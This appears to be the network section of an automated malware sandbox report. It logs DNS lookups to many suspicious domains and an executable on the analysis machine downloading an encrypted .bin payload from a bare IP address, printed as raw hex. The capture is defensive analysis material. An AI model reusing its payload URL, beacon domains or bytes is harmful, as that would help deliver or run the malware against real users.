Jul 18, 2023 09:52:54.601317883 CEST	50117	80	192.168.11.20	104.208.72.135
Jul 18, 2023 09:52:54.601317883 CEST	50117	80	192.168.11.20	104.208.72.135
Jul 18, 2023 09:52:54.788079977 CEST	80	50117	104.208.72.135	192.168.11.20
Jul 18, 2023 09:53:12.752988100 CEST	50118	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:53:12.768836021 CEST	80	50118	34.102.136.180	192.168.11.20
Jul 18, 2023 09:53:12.769099951 CEST	50118	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:53:12.769099951 CEST	50118	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:53:12.785070896 CEST	80	50118	34.102.136.180	192.168.11.20
Jul 18, 2023 09:53:12.891028881 CEST	80	50118	34.102.136.180	192.168.11.20
Jul 18, 2023 09:53:12.891109943 CEST	80	50118	34.102.136.180	192.168.11.20
Jul 18, 2023 09:53:12.891546965 CEST	50118	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:53:12.891546965 CEST	50118	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:53:12.907625914 CEST	80	50118	34.102.136.180	192.168.11.20
Jul 18, 2023 09:54:34.856555939 CEST	50124	80	192.168.11.20	74.208.236.75
Jul 18, 2023 09:54:34.974802017 CEST	80	50124	74.208.236.75	192.168.11.20
Jul 18, 2023 09:54:34.975094080 CEST	50124	80	192.168.11.20	74.208.236.75
Jul 18, 2023 09:54:34.975193977 CEST	50124	80	192.168.11.20	74.208.236.75
Jul 18, 2023 09:54:35.093319893 CEST	80	50124	74.208.236.75	192.168.11.20
Jul 18, 2023 09:54:35.111217022 CEST	80	50124	74.208.236.75	192.168.11.20
Jul 18, 2023 09:54:35.111315012 CEST	80	50124	74.208.236.75	192.168.11.20
Jul 18, 2023 09:54:35.111610889 CEST	50124	80	192.168.11.20	74.208.236.75
Jul 18, 2023 09:54:35.111610889 CEST	50124	80	192.168.11.20	74.208.236.75
Jul 18, 2023 09:54:35.229846001 CEST	80	50124	74.208.236.75	192.168.11.20
Jul 18, 2023 09:54:55.367643118 CEST	50125	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:54:55.382955074 CEST	80	50125	34.102.136.180	192.168.11.20
Jul 18, 2023 09:54:55.383279085 CEST	50125	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:54:55.383279085 CEST	50125	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:54:55.398662090 CEST	80	50125	34.102.136.180	192.168.11.20
Jul 18, 2023 09:54:55.504645109 CEST	80	50125	34.102.136.180	192.168.11.20
Jul 18, 2023 09:54:55.504669905 CEST	80	50125	34.102.136.180	192.168.11.20
Jul 18, 2023 09:54:55.505060911 CEST	50125	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:54:55.505110025 CEST	50125	80	192.168.11.20	34.102.136.180
Jul 18, 2023 09:54:55.520175934 CEST	80	50125	34.102.136.180	192.168.11.20
Jul 18, 2023 09:55:15.835585117 CEST	50126	80	192.168.11.20	162.0.236.131
Jul 18, 2023 09:55:16.001744986 CEST	80	50126	162.0.236.131	192.168.11.20
Jul 18, 2023 09:55:16.002151966 CEST	50126	80	192.168.11.20	162.0.236.131
Jul 18, 2023 09:55:16.002152920 CEST	50126	80	192.168.11.20	162.0.236.131
Jul 18, 2023 09:55:16.168042898 CEST	80	50126	162.0.236.131	192.168.11.20
Jul 18, 2023 09:55:16.239186049 CEST	80	50126	162.0.236.131	192.168.11.20
Jul 18, 2023 09:55:16.239270926 CEST	80	50126	162.0.236.131	192.168.11.20
Jul 18, 2023 09:55:16.239538908 CEST	50126	80	192.168.11.20	162.0.236.131
Jul 18, 2023 09:55:16.239633083 CEST	50126	80	192.168.11.20	162.0.236.131
Jul 18, 2023 09:55:16.409045935 CEST	80	50126	162.0.236.131	192.168.11.20
Jul 18, 2023 09:55:37.207462072 CEST	50127	80	192.168.11.20	38.60.124.101
Jul 18, 2023 09:55:37.373697996 CEST	80	50127	38.60.124.101	192.168.11.20
Jul 18, 2023 09:55:37.374006033 CEST	50127	80	192.168.11.20	38.60.124.101
Jul 18, 2023 09:55:37.374053001 CEST	50127	80	192.168.11.20	38.60.124.101
Jul 18, 2023 09:55:37.540314913 CEST	80	50127	38.60.124.101	192.168.11.20
Jul 18, 2023 09:55:37.541192055 CEST	80	50127	38.60.124.101	192.168.11.20
Jul 18, 2023 09:55:37.541265965 CEST	80	50127	38.60.124.101	192.168.11.20
Jul 18, 2023 09:55:37.541325092 CEST	80	50127	38.60.124.101	192.168.11.20
Jul 18, 2023 09:55:37.541699886 CEST	50127	80	192.168.11.20	38.60.124.101
Jul 18, 2023 09:55:37.541748047 CEST	50127	80	192.168.11.20	38.60.124.101
Jul 18, 2023 09:55:37.708030939 CEST	80	50127	38.60.124.101	192.168.11.20

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 18, 2023 09:48:48.684103012 CEST	49527	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:48:49.165333033 CEST	53	49527	1.1.1.1	192.168.11.20
Jul 18, 2023 09:49:07.317379951 CEST	51312	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:49:07.349009991 CEST	53	51312	1.1.1.1	192.168.11.20
Jul 18, 2023 09:49:27.923170090 CEST	61626	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:49:28.313150883 CEST	53	61626	1.1.1.1	192.168.11.20
Jul 18, 2023 09:49:48.480370045 CEST	60594	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:49:48.495963097 CEST	53	60594	1.1.1.1	192.168.11.20
Jul 18, 2023 09:50:08.697657108 CEST	52836	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:50:08.809109926 CEST	53	52836	1.1.1.1	192.168.11.20
Jul 18, 2023 09:50:29.034152985 CEST	60774	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:50:29.984404087 CEST	53	60774	1.1.1.1	192.168.11.20
Jul 18, 2023 09:50:50.451176882 CEST	49731	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:50:50.926171064 CEST	53	49731	1.1.1.1	192.168.11.20
Jul 18, 2023 09:51:09.587959051 CEST	61250	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:51:10.318826914 CEST	53	61250	1.1.1.1	192.168.11.20
Jul 18, 2023 09:51:31.020226002 CEST	55042	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:51:31.056596994 CEST	53	55042	1.1.1.1	192.168.11.20
Jul 18, 2023 09:51:51.235291958 CEST	58477	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:51:51.303303957 CEST	53	58477	1.1.1.1	192.168.11.20
Jul 18, 2023 09:52:11.745691061 CEST	56238	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:52:12.760855913 CEST	56238	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:52:12.768790960 CEST	53	56238	1.1.1.1	192.168.11.20
Jul 18, 2023 09:52:13.570866108 CEST	53	56238	9.9.9.9	192.168.11.20
Jul 18, 2023 09:52:32.912926912 CEST	53328	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:52:33.293312073 CEST	53	53328	1.1.1.1	192.168.11.20
Jul 18, 2023 09:52:53.830382109 CEST	56262	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:52:54.224090099 CEST	53	56262	1.1.1.1	192.168.11.20
Jul 18, 2023 09:53:12.733987093 CEST	51679	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:53:12.752218962 CEST	53	51679	1.1.1.1	192.168.11.20
Jul 18, 2023 09:53:33.137254000 CEST	53465	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:53:33.169773102 CEST	53	53465	1.1.1.1	192.168.11.20
Jul 18, 2023 09:54:21.470174074 CEST	64647	53	192.168.11.20	1.1.1.1
Jul 18, 2023 09:54:22.485296011 CEST	64647	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:54:22.701472998 CEST	53	64647	9.9.9.9	192.168.11.20
Jul 18, 2023 09:54:23.279592991 CEST	53	64647	1.1.1.1	192.168.11.20
Jul 18, 2023 09:54:34.779759884 CEST	50252	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:54:34.855822086 CEST	53	50252	9.9.9.9	192.168.11.20
Jul 18, 2023 09:54:55.260037899 CEST	52588	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:54:55.366826057 CEST	53	52588	9.9.9.9	192.168.11.20
Jul 18, 2023 09:55:15.645872116 CEST	58171	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:55:15.834829092 CEST	53	58171	9.9.9.9	192.168.11.20
Jul 18, 2023 09:55:36.391573906 CEST	60075	53	192.168.11.20	9.9.9.9
Jul 18, 2023 09:55:37.206000090 CEST	53	60075	9.9.9.9	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 18, 2023 09:48:48.684103012 CEST	192.168.11.20	1.1.1.1	0x7375	Standard query (0)	www.rikkun501.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:07.317379951 CEST	192.168.11.20	1.1.1.1	0x4d42	Standard query (0)	www.4213z0.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:27.923170090 CEST	192.168.11.20	1.1.1.1	0xf82e	Standard query (0)	www.lasik-de-de-8808230.zone	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:48.480370045 CEST	192.168.11.20	1.1.1.1	0x53e2	Standard query (0)	www.ixs0o9.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:08.697657108 CEST	192.168.11.20	1.1.1.1	0x739	Standard query (0)	www.lilith-con.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:29.034152985 CEST	192.168.11.20	1.1.1.1	0x82de	Standard query (0)	www.1cdpwp.cfd	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:50.451176882 CEST	192.168.11.20	1.1.1.1	0x8dc7	Standard query (0)	www.qwevqgjw.cfd	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:09.587959051 CEST	192.168.11.20	1.1.1.1	0x5a90	Standard query (0)	www.civzbpp.xyz	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:31.020226002 CEST	192.168.11.20	1.1.1.1	0x31c	Standard query (0)	www.trullys.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:51.235291958 CEST	192.168.11.20	1.1.1.1	0xb8ce	Standard query (0)	www.kidomarketing.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:11.745691061 CEST	192.168.11.20	1.1.1.1	0xfa9e	Standard query (0)	www.adjoinstaff.online	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:12.760855913 CEST	192.168.11.20	9.9.9.9	0xfa9e	Standard query (0)	www.adjoinstaff.online	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:32.912926912 CEST	192.168.11.20	1.1.1.1	0xdaca	Standard query (0)	www.peterscanner.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:53.830382109 CEST	192.168.11.20	1.1.1.1	0xbf2	Standard query (0)	www.v3rqa4.cfd	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:53:12.733987093 CEST	192.168.11.20	1.1.1.1	0xd1f3	Standard query (0)	www.windyhillcnc.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:53:33.137254000 CEST	192.168.11.20	1.1.1.1	0xfd7a	Standard query (0)	www.keyviewgroup.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:21.470174074 CEST	192.168.11.20	1.1.1.1	0x8598	Standard query (0)	www.zbjcolwy.cfd	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:22.485296011 CEST	192.168.11.20	9.9.9.9	0x8598	Standard query (0)	www.zbjcolwy.cfd	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:34.779759884 CEST	192.168.11.20	9.9.9.9	0xe2f4	Standard query (0)	www.wecanshipit.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:55.260037899 CEST	192.168.11.20	9.9.9.9	0x885f	Standard query (0)	www.porterhayranch.com	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:55:15.645872116 CEST	192.168.11.20	9.9.9.9	0x73a7	Standard query (0)	www.clasmiv.xyz	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:55:36.391573906 CEST	192.168.11.20	9.9.9.9	0x95eb	Standard query (0)	www.tissageparis.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 18, 2023 09:48:49.165333033 CEST	1.1.1.1	192.168.11.20	0x7375	Name error (3)	www.rikkun501.com	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:07.349009991 CEST	1.1.1.1	192.168.11.20	0x4d42	No error (0)	www.4213z0.com	4213z0.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:49:07.349009991 CEST	1.1.1.1	192.168.11.20	0x4d42	No error (0)	4213z0.com		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:28.313150883 CEST	1.1.1.1	192.168.11.20	0xf82e	No error (0)	www.lasik-de-de-8808230.zone	ssl1.prod.systemdragon.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:49:28.313150883 CEST	1.1.1.1	192.168.11.20	0xf82e	No error (0)	ssl1.prod.systemdragon.com		104.17.157.1	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:28.313150883 CEST	1.1.1.1	192.168.11.20	0xf82e	No error (0)	ssl1.prod.systemdragon.com		104.17.158.1	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:49:48.495963097 CEST	1.1.1.1	192.168.11.20	0x53e2	Name error (3)	www.ixs0o9.com	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:08.809109926 CEST	1.1.1.1	192.168.11.20	0x739	No error (0)	www.lilith-con.com	lilith-con.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:50:08.809109926 CEST	1.1.1.1	192.168.11.20	0x739	No error (0)	lilith-con.com		185.238.87.6	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:29.984404087 CEST	1.1.1.1	192.168.11.20	0x82de	No error (0)	www.1cdpwp.cfd		107.148.29.94	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:50:50.926171064 CEST	1.1.1.1	192.168.11.20	0x8dc7	No error (0)	www.qwevqgjw.cfd		150.95.255.38	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:10.318826914 CEST	1.1.1.1	192.168.11.20	0x5a90	No error (0)	www.civzbpp.xyz		150.95.255.38	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:31.056596994 CEST	1.1.1.1	192.168.11.20	0x31c	No error (0)	www.trullys.com	shops.myshopify.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:51:31.056596994 CEST	1.1.1.1	192.168.11.20	0x31c	No error (0)	shops.myshopify.com		23.227.38.74	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:51:51.303303957 CEST	1.1.1.1	192.168.11.20	0xb8ce	No error (0)	www.kidomarketing.com	kidomarketing.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:51:51.303303957 CEST	1.1.1.1	192.168.11.20	0xb8ce	No error (0)	kidomarketing.com		156.67.72.35	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:12.768790960 CEST	1.1.1.1	192.168.11.20	0xfa9e	Name error (3)	www.adjoinstaff.online	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:13.570866108 CEST	9.9.9.9	192.168.11.20	0xfa9e	Name error (3)	www.adjoinstaff.online	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:33.293312073 CEST	1.1.1.1	192.168.11.20	0xdaca	No error (0)	www.peterscanner.com		118.27.130.228	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:52:54.224090099 CEST	1.1.1.1	192.168.11.20	0xbf2	No error (0)	www.v3rqa4.cfd	smp3eyx7.duncdnfy.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:52:54.224090099 CEST	1.1.1.1	192.168.11.20	0xbf2	No error (0)	smp3eyx7.duncdnfy.com	u8tk45qe.duncdnfy.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:52:54.224090099 CEST	1.1.1.1	192.168.11.20	0xbf2	No error (0)	u8tk45qe.duncdnfy.com		104.208.72.135	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:53:12.752218962 CEST	1.1.1.1	192.168.11.20	0xd1f3	No error (0)	www.windyhillcnc.com	windyhillcnc.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:53:12.752218962 CEST	1.1.1.1	192.168.11.20	0xd1f3	No error (0)	windyhillcnc.com		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:53:33.169773102 CEST	1.1.1.1	192.168.11.20	0xfd7a	Name error (3)	www.keyviewgroup.com	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:22.701472998 CEST	9.9.9.9	192.168.11.20	0x8598	Name error (3)	www.zbjcolwy.cfd	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:23.279592991 CEST	1.1.1.1	192.168.11.20	0x8598	Name error (3)	www.zbjcolwy.cfd	none	none	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:34.855822086 CEST	9.9.9.9	192.168.11.20	0xe2f4	No error (0)	www.wecanshipit.com		74.208.236.75	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:54:55.366826057 CEST	9.9.9.9	192.168.11.20	0x885f	No error (0)	www.porterhayranch.com	porterhayranch.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 18, 2023 09:54:55.366826057 CEST	9.9.9.9	192.168.11.20	0x885f	No error (0)	porterhayranch.com		34.102.136.180	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:55:15.834829092 CEST	9.9.9.9	192.168.11.20	0x73a7	No error (0)	www.clasmiv.xyz		162.0.236.131	A (IP address)	IN (0x0001)	false
Jul 18, 2023 09:55:37.206000090 CEST	9.9.9.9	192.168.11.20	0x95eb	No error (0)	www.tissageparis.com		38.60.124.101	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

192.3.26.168

www.4213z0.com

www.lasik-de-de-8808230.zone

www.lilith-con.com

www.1cdpwp.cfd

www.qwevqgjw.cfd

www.civzbpp.xyz

www.trullys.com

www.kidomarketing.com

www.peterscanner.com

www.v3rqa4.cfd

www.windyhillcnc.com

www.wecanshipit.com

www.porterhayranch.com

www.clasmiv.xyz

www.tissageparis.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	50106	192.3.26.168	80	C:\Users\user\Desktop\sOjxIU25DP.exe

Timestamp	kBytes transferred	Direction	Data
Jul 18, 2023 09:48:01.645822048 CEST	59	OUT	GET /windows/f/ayewoMsIHKx140.bin HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0 Host: 192.3.26.168 Cache-Control: no-cache
Jul 18, 2023 09:48:01.759258032 CEST	61	IN	HTTP/1.1 200 OK Date: Tue, 18 Jul 2023 07:48:01 GMT Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28 Last-Modified: Sun, 16 Jul 2023 18:18:30 GMT ETag: "2e240-6009eb5830651" Accept-Ranges: bytes Content-Length: 188992 Content-Type: application/octet-stream Data Raw: 6c 4b e6 9f be fb 31 4a e0 40 2b 61 e6 6a 63 a3 19 dc 77 8b c4 55 0f 0b 4c ef 64 e6 9f a3 40 0b 91 d6 ea 74 66 f3 ee fc 55 c1 61 c9 89 10 f2 8f 3d 6a 3d 27 cf 9a ae 26 f7 3b 6d ea 77 ad f1 d6 6f 1f 7a e5 9e d3 05 c2 a6 d4 2b 23 a4 7b 97 f2 6f e6 d5 62 03 dd 79 3f 10 45 03 5a 49 86 de 36 6a 6a 08 9e 49 a6 c4 96 8b 71 4f 44 ed 08 c4 69 ae 56 14 eb 4a f6 6a c3 79 72 08 88 b0 90 11 5f f2 6c 34 b8 da a6 14 95 2c 82 5d 06 f7 d8 d0 11 32 0f fb bc d6 20 96 08 ac 16 e7 bc 07 93 91 89 da 8d 01 61 c9 2e f3 17 24 87 97 95 ef b7 51 07 31 78 76 cf 31 e6 3c 92 32 c7 22 4e c5 c1 19 13 ff 16 97 74 4b 9f 19 6e 0a c7 e3 14 72 2c 8d 24 57 b3 e7 4a 41 7c 58 82 b5 0b 09 8b 52 79 0c fc 6b 7b 0f b4 49 df ba 32 ed e5 4a 55 bc 0d 13 70 e2 c3 88 28 18 fe ef 9f a4 9c 3b ea 5e ce 91 8f 4a 1e c0 b6 58 b7 92 51 e9 7d 0f 57 05 c9 f9 d7 41 3c 6b 5b e4 28 6a e3 7e e9 33 11 70 2c 99 cf f7 65 f0 ef dc 42 c2 91 cf a3 fb 55 7f 44 59 11 76 e3 21 13 96 ec c0 ad 43 21 16 b7 86 77 5d 44 3f 9c 01 c3 21 b6 fb 4a d2 2b 44 ca fe 61 56 19 b5 89 46 b5 25 5d d6 da 27 28 91 53 45 f3 af e5 47 c5 f9 11 44 c8 51 d4 75 58 c6 c4 51 20 07 85 fb 0c 47 c4 34 dc ae 57 80 dc 58 19 8a 6a 1a b5 14 7b c7 e0 bc 3f 8b 2d 07 d2 27 a1 f8 76 73 63 df 03 4b e9 29 cc e5 aa 5f aa 37 e4 5d 01 c4 8c ac 64 ca c8 27 85 01 40 4a be 3c b7 fc ff 43 34 e4 2a 87 8b 04 e7 b0 e1 ce ef 49 d9 e2 07 25 93 da 75 cf 7d 98 2e e8 1d d8 50 22 f9 a7 a1 35 25 16 27 c9 62 5f b6 77 2a 82 71 4c 14 71 c4 27 8a 8a 00 14 d8 18 78 26 ae 6c b6 e0 8a ee 30 4c 8e 43 3d 0a 0f 0a 7f 18 13 bd 8e 50 86 4d 17 e5 b0 08 0f 2b 9f a8 43 94 8e 6a a0 80 b9 18 02 f3 85 8c e4 1d 9d ed 5b cb 96 fc 09 3c 91 2f da 73 65 e0 db 44 f0 5a 38 28 5b b5 03 b2 07 13 6c e1 20 06 95 88 ef 75 5c 15 02 0a 00 f8 7e 69 29 49 80 b3 f9 da f9 b0 36 c3 c8 d7 e1 b3 e5 93 c0 c5 65 bc 68 e7 c0 a8 84 f7 aa ff b5 92 ac e2 88 ba c5 a2 03 b0 57 21 c8 9f f6 f8 ba dc f6 d9 39 32 76 8f 84 46 06 46 36 13 56 30 ec 34 17 f2 59 b8 b8 ca 43 b2 88 32 cf 7e e2 fb 38 6f bf 9e 59 c9 51 e8 02 17 41 56 ca 63 e4 fc 83 ca 67 52 24 5f f9 5c 03 bc 65 b6 f6 56 b1 3f eb 48 e8 5e 2e 2a 34 25 99 00 ce df a4 01 cb a6 f0 e2 94 b2 de b6 b9 45 11 45 f4 72 e4 8a dd a1 5b 93 63 a9 22 71 1d 78 00 d3 d2 63 3a df 3e 3e 8d c0 82 72 5e ee 6b 3a 59 49 81 00 40 3c cc 4c 8f d2 ae 8e 92 3b e8 d9 39 69 23 f5 b0 d2 c7 c2 dd b4 c5 2b ae 40 f7 0a af a2 fd 5e 6c b9 0f 55 6b f8 d3 20 4c 29 92 c8 c3 4e 49 f4 84 05 bc d4 fe c2 4a 42 09 b4 a6 e8 52 70 16 70 b9 a4 75 a9 6d 45 f3 ac b4 0c a1 b2 05 26 71 26 68 ab 7e f3 bb 0a d5 25 86 19 21 d2 d2 a4 8f db d6 5e 4e 94 87 fe 41 a6 8f f6 5d a6 e0 90 84 30 6e 8d 23 ac 67 64 46 39 ab 5d 04 f2 46 9f 9e d6 0a 88 1c 16 70 bd 60 27 38 b7 66 83 2b bc 8a 07 99 fa e9 90 dc eb 33 39 03 34 ba 4e e9 c3 69 2d 14 fc db 94 96 ce d4 5a c7 5d 18 2b 3f a1 30 38 1d 96 95 83 fa b9 a0 6b e9 7e c0 06 ab 9d e3 b8 f5 a6 64 fa 42 1b f1 e9 71 85 f2 77 ab 85 f9 d7 65 30 6e 47 ae 59 1a 15 b9 73 7b b6 22 23 70 28 7a ca 97 80 1b 95 54 8b 11 ad 2a cc 34 4b f4 b4 75 e9 a3 74 a3 d4 76 c5 eb 0d 2e 62 6a c9 e7 14 85 57 cb dd 2d fd 68 17 0c 0b 62 e7 62 be 9a Data Ascii: lK1J@+ajcwULd@tfUa=j='&;mwoz+#{oby?EZI6jjIqODiVJjyr_l4,]2 a.$Q1xv1<2"NtKnr,$WJA\|XRyk{I2JUp(;^JXQ}WA<k[(j~3p,eBUDYv!C!w]D?!J+DaVF%]'(SEGDQuXQ G4WXj{?-'vscK)_7]d'@J<C4I%u}.P"5%'b_wqLq'x&l0LC=PM+Cj[</seDZ8([l u\~i)I6ehW!92vFF6V04YC2~8oYQAVcgR$_\eV?H^.4%EEr[c"qxc:>>r^k:YI@<L;9i#+@^lUk L)NIJBRppumE&q&h~%!^NA]0n#gdF9]Fp`'8f+394Ni-Z]+?08k~dBqwe0nGYs{"#p(zT4Kutv.bjW-hbb
Jul 18, 2023 09:48:01.759331942 CEST	62	IN	Data Raw: 98 d5 cc d9 1d ef 1c 8c f3 cb 11 61 7e 32 fb 88 18 4a 22 aa c4 ad 12 e4 0b 1a b2 95 e9 e4 df 29 d3 a8 57 96 e6 3a e8 55 dc e1 ee 2e d2 d8 92 1d 23 59 5f 54 a5 93 6a d5 fc da 04 63 10 dc 11 af 04 b8 72 34 58 a9 36 a2 12 cd 12 85 05 85 c4 8b 4d 44 Data Ascii: a~2J")W:U.#Y_Tjcr4X6MDG+b.<~mY-VMoNz?~AyBbxk5MO94yg]bs(8z_Mcm_%cnSGZ$vXZlwY3)<6n$@*YH/\|^G:ai
Jul 18, 2023 09:48:01.759432077 CEST	63	IN	Data Raw: b9 73 7b b6 22 23 70 28 7a ca 97 80 1b 95 54 8b 11 ad 2a cc 34 4b f4 b4 75 e9 a3 74 a3 d4 76 c5 eb 0d 2e 62 6a c9 e7 14 85 57 cb dd 2d fd 68 17 0c 0b 62 e7 62 be 9a 98 d5 cc d9 1d ef 1c 8c f3 cb 11 61 7e 32 fb 88 18 4a 22 aa c4 ad 12 e4 0b 1a b2 Data Ascii: s{"#p(zT*4Kutv.bjW-hbba~2J")W:U.#Y_Tjcr4X6MDG+b.<~mY-VMoNz?~AyBbxk5MO94yg]bs(8z_Mcm_%cnSG
Jul 18, 2023 09:48:01.759495974 CEST	65	IN	Data Raw: fc db 94 96 ce d4 5a c7 5d 18 2b 3f a1 30 38 1d 96 95 83 fa b9 a0 6b e9 7e c0 06 ab 9d e3 b8 f5 a6 64 fa 42 1b f1 e9 71 85 f2 77 ab 85 f9 d7 65 30 6e 47 ae 59 1a 15 b9 73 7b b6 22 23 70 28 7a ca 97 80 1b 95 54 8b 11 ad 2a cc 34 4b f4 b4 75 e9 a3 Data Ascii: Z]+?08k~dBqwe0nGYs{"#p(zT*4Kutv.bjW-hbba~2J")W:U.#Y_Tjcr4X6MDG+b.<~mY-VMoNz?~AyBbxk5
Jul 18, 2023 09:48:01.759551048 CEST	66	IN	Data Raw: d6 eb 14 a1 d3 38 5f c2 2f 27 2a 6c 11 b4 de b5 ec 57 b8 60 61 5d 5f 60 97 53 9c 36 2d d7 b1 a0 ed d6 df 35 cd 03 10 b5 e1 13 18 ef ba 6e 0f 6a e1 c5 0c 9e aa f1 46 99 26 a4 c3 45 38 d1 82 49 93 66 2f 22 dc 1c 4e 1d c8 9b ad 32 59 ee 29 71 44 e1 Data Ascii: 8_/'*lW`a]_`S6-5njF&E8If/"N2Y)qD~riC',v-(zS0_$g0_vdt(zN}/%Ee-=f`^,7mNrWHTm'^ &L-^,QF;$n&!Cz
Jul 18, 2023 09:48:01.759603977 CEST	67	IN	Data Raw: f7 39 47 2e b9 f6 4b 51 4c f6 23 d1 f5 d1 5f 8a 56 fb 37 81 48 73 89 cd 49 fa d9 2a e6 a8 30 b9 76 cb f1 2a da 44 ae 96 a7 15 21 fb 20 29 a1 52 69 7a 1f 86 23 f7 0d a2 59 4e 03 17 0d a9 08 5f 57 98 9b 2c 1f 8d 11 c3 77 c6 64 61 29 50 be 2a 7a b7 Data Ascii: 9G.KQL#_V7HsI0vD! )Riz#YN_W,wda)Pz8H'Mo6<&5+i,C$ia&_gq?xi2#\|5~(AiFn1hHe(7`d/:jLSzhIe0wb:j
Jul 18, 2023 09:48:01.759660006 CEST	69	IN	Data Raw: a6 ab df 5e fc fb 49 24 72 2d 51 93 99 30 fe 1e bc 05 de 0a 4f a4 1c 19 70 73 40 5b 53 bf 08 31 4f 42 26 99 e9 cd f2 aa 94 ae e1 12 28 ee 17 b0 3e b1 b6 ba be 3f c8 13 7b be b7 bd f6 aa ac e2 46 b7 93 f0 44 5b 8a 72 24 0c 61 6b 31 88 5c 4d fa 2c Data Ascii: ^I$r-Q0Ops@[S1OB&(>?{FD[r$ak1\M,w dl{F*I=iW(r$)?96r"RSj`a9$_!{d8MzGg%;^<k1+m#~%?4Lz6pX9!BwVzR+F5hULi3/!
